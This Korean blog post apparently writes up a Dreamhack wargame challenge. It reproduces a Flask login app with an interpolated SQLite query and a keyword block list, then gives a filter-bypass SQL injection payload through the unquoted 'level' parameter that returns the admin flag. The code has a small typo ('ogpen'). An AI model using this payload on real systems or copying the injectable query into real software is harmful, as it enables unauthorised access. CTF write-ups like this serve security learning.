티스토리 뷰
페이지에 접속하면 위와 같이 뜬다.
login을 해야하는 페이지이다.
#!/usr/bin/env python3
#app.py
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3
app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack
DATABASE = 'users.db'
def get_db():
top = _app_ctx_stack.top
if not hasattr(top, 'sqlite_db'):
top.sqlite_db = sqlite3.connect(DATABASE)
return top.sqlite_db
try:
FLAG = ogpen('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except:
return 'Error!'
return 'Good!'
@app.teardown_appcontext
def close_connection(exception):
top = _app_ctx_stack.top
if hasattr(top, 'sqlite_db'):
top.sqlite_db.close()
if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()
app.run(host='0.0.0.0', port=8001)
소스 코드를 확인하면,
uid가 admin이면 flag가 출력된다는 것을 알 수 있다.
그러나, sqli_filter로 필터링이 되고 있어서 우회해야 한다.
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
위 커리문을 확인해보면, uid와 pwd는 싱글쿼터(')를 사용하므로
싱글쿼터가 필터링이 걸려있어 우회를 할 수 없다.
하지만, level은 싱글쿼터로 둘러싸여 있지 않아 파라미터 값을 전달해 SQL Injection이 가능하다.
쿼리문을 보면, select 할 때 uid 컬럼만 가져오고 있어서 union으로 admin을 입력하면 된다.
sqlite에서는 '||'가 문자열을 더해주는 기능을 가지고 있다.
(sqlite의 특징)
'+'가 필터링 되고 있으므로 '+' 대신에 '||'를 사용하자.
uid=test&upw=test&level=1/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))
/**/는 공백 대신에 사용하고, char를 통해 admin을 입력해준다.
(필터링 우회)
프록시 걸고 위 구문을 넣어서 보내주면 FLAG가 출력된다.
FLAG
DH{sql-lite-cass-lite}
'Wargame > Web' 카테고리의 다른 글
[Dreamhack.io] web-deserialize-python (0) | 2023.04.28 |
---|---|
[Dreamhack.io] Login-1 (0) | 2022.08.03 |
[Dreamhack.io] Simple_sqli (0) | 2022.08.03 |
[Dreamhack.io] Tmitter (0) | 2022.08.01 |
[Dreamhack.io] Counting query (0) | 2022.08.01 |
- Total
- Today
- Yesterday
- 인시큐어뱅크
- 모바일
- sqlinjection
- 드림핵
- mongodb
- reversing
- 취약점
- cheatengine
- Fiesta
- Steganography
- 안드로이드
- forensic
- dreamhack
- web
- 해킹
- 포렌식
- rev
- MISC
- 스테가노그래피
- CTF
- Cookie
- md5
- SQLi
- Android
- FTKImager
- AssaultCube
- forensics
- networking
- 리버싱
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |